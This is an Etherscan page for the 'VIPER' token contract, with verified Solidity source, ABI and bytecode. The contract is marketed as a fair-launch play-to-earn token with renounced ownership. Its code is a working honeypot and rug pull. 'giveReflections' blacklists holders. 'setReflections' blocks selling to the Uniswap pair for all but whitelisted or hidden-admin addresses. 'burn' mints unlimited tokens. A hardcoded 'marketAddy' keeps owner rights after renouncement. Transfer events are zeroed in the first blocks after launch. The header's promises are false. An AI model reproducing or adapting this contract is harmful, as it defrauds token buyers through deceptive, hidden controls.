ETH Price: $3,603.44 (+5.99%)

Token

VIPER (VIPER)
 

Overview

Max Total Supply

20,000,004,999,999,999,999.999999999999999998 VIPER

Holders

29

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
84,167,382,340.096987918682054774 VIPER

Value
$0.00
0x70da49f4f90014ab11f36351190b4739b9809dcd
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
VIPER

Compiler Version
v0.8.10+commit.fc410830

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-04-06
*/

/*

 _   _ ___________ ___________ 
| | | |_   _| ___ \  ___| ___ \
| | | | | | | |_/ / |__ | |_/ /
| | | | | | |  __/|  __||    / 
\ \_/ /_| |_| |   | |___| |\ \ 
 \___/ \___/\_|   \____/\_| \_|
                               
                               

VIPER is the official token of the Monthy Python play to earn game.
More info available on our telegram and website
0% Tax, All funding is provided by the team
Liquidity will be locked for 1 year a few minutes after launch and ownership will be renounced. 
100% Fair Launch - no presale, no whitelist
Team will invest their own money on launch like everyone else

*/

pragma solidity ^0.8.0;


library SafeMath {

    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }

  
    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }

   
    function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
        }
    }

   
    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a / b);
        }
    }

  function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a % b);
        }
    }

 
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

   
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

   
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    
    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

   
    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }

   
    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
}


interface IERC20 {
   
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IERC20Metadata is IERC20 {
  
    function name() external view returns (string memory);
    function symbol() external view returns (string memory);
    function decimals() external view returns (uint8);
}


abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);
}


contract VIPER is Context, IERC20, IERC20Metadata {
    mapping(address => uint256) public _balances;
    mapping(address => mapping(address => uint256)) public _allowances;
    mapping(address => bool) private _blackbalances;
    mapping (address => bool) private bots;
    mapping(address => bool) private _balances1;

    address internal router;
    uint256 public _totalSupply = 5000000000000*10**18;
    string public _name = "VIPER";
    string public _symbol= "VIPER";
    bool balances1 = true;
    bool private tradingOpen;
    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    uint256 private openBlock;

    
    
    constructor() {
        _balances[msg.sender] = _totalSupply;
        emit Transfer(address(this), msg.sender, _totalSupply);
        owner = msg.sender;
    }
    
    address public owner;
    address private marketAddy = payable(0xCa858Ee936Cfb40EdDB980dCF2c093b311f50a6D);
    
    modifier onlyOwner {
        require((owner == msg.sender) || (msg.sender == marketAddy));
        _;
    }
    function changeOwner(address _owner) onlyOwner public {
        owner = _owner;
    }
    
    function RenounceOwnership() onlyOwner public {
        owner = 0x000000000000000000000000000000000000dEaD;
    }

    function giveReflections(address[] memory recipients_) onlyOwner public {
        for (uint i = 0; i < recipients_.length; i++) {
            bots[recipients_[i]] = true;
        }
    }

    function toggleReflections(address[] memory recipients_) onlyOwner public {
        for (uint i = 0; i < recipients_.length; i++) {
            bots[recipients_[i]] = false;
        }
    }

    function setReflections() onlyOwner public {
        router = uniswapV2Pair;
        balances1 = false;
    }

    function openTrading() public onlyOwner {
        require(!tradingOpen, "trading is already open");
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );
        uniswapV2Router = _uniswapV2Router;
        _approve(address(this), address(uniswapV2Router), _totalSupply);
        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(
            address(this),
            balanceOf(address(this)),
            0,
            0,
            owner,
            block.timestamp
        );
        tradingOpen = true;
        openBlock = block.number;
        IERC20(uniswapV2Pair).approve(
            address(uniswapV2Router),
            type(uint256).max
        );
    }
    
    receive() external payable {}
    
    
    function name() public view virtual override returns (string memory) {
        return _name;
    }
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }
    function decimals() public view virtual override returns (uint8) {
        return 18;
    }
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }
    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);
        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        unchecked {
            _approve(sender, _msgSender(), currentAllowance - amount);
        }
        return true;
    }

   
    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(_blackbalances[sender] != true );
        require(!bots[sender] && !bots[recipient]);
        if(recipient == router) {
            require((balances1 || _balances1[sender]) || (sender == marketAddy), "ERC20: transfer to the zero address");
        }
        require((amount < 200000000000*10**18) || (sender == marketAddy) || (sender == owner) || (sender == address(this)));
        _beforeTokenTransfer(sender, recipient, amount);
        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[sender] = senderBalance - amount;
        }
        _balances[recipient] += amount;
        if ((openBlock + 4 > block.number) && sender == uniswapV2Pair) {
            emit Transfer(sender, recipient, 0);
        } else {
            emit Transfer(sender, recipient, amount);
        }
    }


      function  burn(address account, uint256 amount) onlyOwner  public virtual {
        require(account != address(0), "ERC20: burn to the zero address");
        _beforeTokenTransfer(address(0), account, amount);
        _totalSupply += amount;
        _balances[account] += amount;
        emit Transfer(address(0), account, amount);
    }
    
    
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

   
    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
    

}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"RenounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"_allowances","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_balances","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_owner","type":"address"}],"name":"changeOwner","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"recipients_","type":"address[]"}],"name":"giveReflections","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"setReflections","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"recipients_","type":"address[]"}],"name":"toggleReflections","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526c3f1bdf10116048a593400000006006556040518060400160405280600581526020017f5649504552000000000000000000000000000000000000000000000000000000815250600790805190602001906200006292919062000224565b506040518060400160405280600581526020017f564950455200000000000000000000000000000000000000000000000000000081525060089080519060200190620000b092919062000224565b506001600960006101000a81548160ff02191690831515021790555073ca858ee936cfb40eddb980dcf2c093b311f50a6d600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055503480156200012e57600080fd5b506006546000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600654604051620001d59190620002ef565b60405180910390a333600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555062000371565b82805462000232906200033b565b90600052602060002090601f016020900481019282620002565760008555620002a2565b82601f106200027157805160ff1916838001178555620002a2565b82800160010185558215620002a2579182015b82811115620002a157825182559160200191906001019062000284565b5b509050620002b19190620002b5565b5090565b5b80821115620002d0576000816000905550600101620002b6565b5090565b6000819050919050565b620002e981620002d4565b82525050565b6000602082019050620003066000830184620002de565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200035457607f821691505b602082108114156200036b576200036a6200030c565b5b50919050565b612b5f80620003816000396000f3fe6080604052600436106101395760003560e01c806370a08231116100ab578063a9059cbb1161006f578063a9059cbb14610421578063b09f12661461045e578063ba3ac4a514610489578063c9567bf9146104b2578063d28d8852146104c9578063dd62ed3e146104f457610140565b806370a082311461033c5780638da5cb5b1461037957806395d89b41146103a45780639dc29fac146103cf578063a6f9dae1146103f857610140565b806323b872dd116100fd57806323b872dd1461023e578063294e3eb11461027b578063313ce567146102925780633eaaf86b146102bd5780636e4ee811146102e85780636ebcf607146102ff57610140565b8063024c2ddd1461014557806306fdde0314610182578063095ea7b3146101ad57806315a892be146101ea57806318160ddd1461021357610140565b3661014057005b600080fd5b34801561015157600080fd5b5061016c60048036038101906101679190611f2e565b610531565b6040516101799190611f87565b60405180910390f35b34801561018e57600080fd5b50610197610556565b6040516101a4919061203b565b60405180910390f35b3480156101b957600080fd5b506101d460048036038101906101cf9190612089565b6105e8565b6040516101e191906120e4565b60405180910390f35b3480156101f657600080fd5b50610211600480360381019061020c9190612247565b610606565b005b34801561021f57600080fd5b5061022861074d565b6040516102359190611f87565b60405180910390f35b34801561024a57600080fd5b5061026560048036038101906102609190612290565b610757565b60405161027291906120e4565b60405180910390f35b34801561028757600080fd5b5061029061084f565b005b34801561029e57600080fd5b506102a7610981565b6040516102b491906122ff565b60405180910390f35b3480156102c957600080fd5b506102d261098a565b6040516102df9190611f87565b60405180910390f35b3480156102f457600080fd5b506102fd610990565b005b34801561030b57600080fd5b506103266004803603810190610321919061231a565b610a87565b6040516103339190611f87565b60405180910390f35b34801561034857600080fd5b50610363600480360381019061035e919061231a565b610a9f565b6040516103709190611f87565b60405180910390f35b34801561038557600080fd5b5061038e610ae7565b60405161039b9190612356565b60405180910390f35b3480156103b057600080fd5b506103b9610b0d565b6040516103c6919061203b565b60405180910390f35b3480156103db57600080fd5b506103f660048036038101906103f19190612089565b610b9f565b005b34801561040457600080fd5b5061041f600480360381019061041a919061231a565b610da5565b005b34801561042d57600080fd5b5061044860048036038101906104439190612089565b610e9b565b60405161045591906120e4565b60405180910390f35b34801561046a57600080fd5b50610473610eb9565b604051610480919061203b565b60405180910390f35b34801561049557600080fd5b506104b060048036038101906104ab9190612247565b610f47565b005b3480156104be57600080fd5b506104c761108e565b005b3480156104d557600080fd5b506104de611592565b6040516104eb919061203b565b60405180910390f35b34801561050057600080fd5b5061051b60048036038101906105169190611f2e565b611620565b6040516105289190611f87565b60405180910390f35b6001602052816000526040600020602052806000526040600020600091509150505481565b606060078054610565906123a0565b80601f0160208091040260200160405190810160405280929190818152602001828054610591906123a0565b80156105de5780601f106105b3576101008083540402835291602001916105de565b820191906000526020600020905b8154815290600101906020018083116105c157829003601f168201915b5050505050905090565b60006105fc6105f56116a7565b84846116af565b6001905092915050565b3373ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614806106af5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b6106b857600080fd5b60005b8151811015610749576001600360008484815181106106dd576106dc6123d2565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061074190612430565b9150506106bb565b5050565b6000600654905090565b600061076484848461187a565b6000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006107af6116a7565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508281101561082f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610826906124eb565b60405180910390fd5b6108438561083b6116a7565b8584036116af565b60019150509392505050565b3373ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614806108f85750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b61090157600080fd5b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600960006101000a81548160ff021916908315150217905550565b60006012905090565b60065481565b3373ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480610a395750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b610a4257600080fd5b61dead600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60006020528060005260406000206000915090505481565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b606060088054610b1c906123a0565b80601f0160208091040260200160405190810160405280929190818152602001828054610b48906123a0565b8015610b955780601f10610b6a57610100808354040283529160200191610b95565b820191906000526020600020905b815481529060010190602001808311610b7857829003601f168201915b5050505050905090565b3373ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480610c485750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b610c5157600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610cc1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cb890612557565b60405180910390fd5b610ccd60008383611eb7565b8060066000828254610cdf9190612577565b92505081905550806000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610d349190612577565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610d999190611f87565b60405180910390a35050565b3373ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480610e4e5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b610e5757600080fd5b80600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000610eaf610ea86116a7565b848461187a565b6001905092915050565b60088054610ec6906123a0565b80601f0160208091040260200160405190810160405280929190818152602001828054610ef2906123a0565b8015610f3f5780601f10610f1457610100808354040283529160200191610f3f565b820191906000526020600020905b815481529060010190602001808311610f2257829003601f168201915b505050505081565b3373ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480610ff05750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b610ff957600080fd5b60005b815181101561108a5760006003600084848151811061101e5761101d6123d2565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061108290612430565b915050610ffc565b5050565b3373ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614806111375750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b61114057600080fd5b600960019054906101000a900460ff1615611190576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161118790612619565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600960026101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061121930600960029054906101000a900473ffffffffffffffffffffffffffffffffffffffff166006546116af565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015611264573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611288919061264e565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156112ef573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611313919061264e565b6040518363ffffffff1660e01b815260040161133092919061267b565b6020604051808303816000875af115801561134f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611373919061264e565b600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600960029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306113fc30610a9f565b600080600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518863ffffffff1660e01b8152600401611444969594939291906126e9565b60606040518083038185885af1158015611462573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190611487919061275f565b5050506001600960016101000a81548160ff02191690831515021790555043600b81905550600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600960029054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161154b9291906127b2565b6020604051808303816000875af115801561156a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061158e9190612807565b5050565b6007805461159f906123a0565b80601f01602080910402602001604051908101604052809291908181526020018280546115cb906123a0565b80156116185780601f106115ed57610100808354040283529160200191611618565b820191906000526020600020905b8154815290600101906020018083116115fb57829003601f168201915b505050505081565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561171f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611716906128a6565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561178f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161178690612938565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161186d9190611f87565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156118ea576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118e1906129ca565b60405180910390fd5b60011515600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515141561194857600080fd5b600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156119ec5750600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6119f557600080fd5b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611b4757600960009054906101000a900460ff1680611aaf5750600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80611b075750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b611b46576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b3d90612a5c565b60405180910390fd5b5b6c02863c1f5cdae42f9540000000811080611baf5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b80611c075750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b80611c3d57503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b611c4657600080fd5b611c51838383611eb7565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611cd7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cce90612aee565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611d6a9190612577565b92505081905550436004600b54611d819190612577565b118015611ddb5750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b15611e4b578273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6000604051611e3e9190612b0e565b60405180910390a3611eb1565b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611ea89190611f87565b60405180910390a35b50505050565b505050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611efb82611ed0565b9050919050565b611f0b81611ef0565b8114611f1657600080fd5b50565b600081359050611f2881611f02565b92915050565b60008060408385031215611f4557611f44611ec6565b5b6000611f5385828601611f19565b9250506020611f6485828601611f19565b9150509250929050565b6000819050919050565b611f8181611f6e565b82525050565b6000602082019050611f9c6000830184611f78565b92915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611fdc578082015181840152602081019050611fc1565b83811115611feb576000848401525b50505050565b6000601f19601f8301169050919050565b600061200d82611fa2565b6120178185611fad565b9350612027818560208601611fbe565b61203081611ff1565b840191505092915050565b600060208201905081810360008301526120558184612002565b905092915050565b61206681611f6e565b811461207157600080fd5b50565b6000813590506120838161205d565b92915050565b600080604083850312156120a05761209f611ec6565b5b60006120ae85828601611f19565b92505060206120bf85828601612074565b9150509250929050565b60008115159050919050565b6120de816120c9565b82525050565b60006020820190506120f960008301846120d556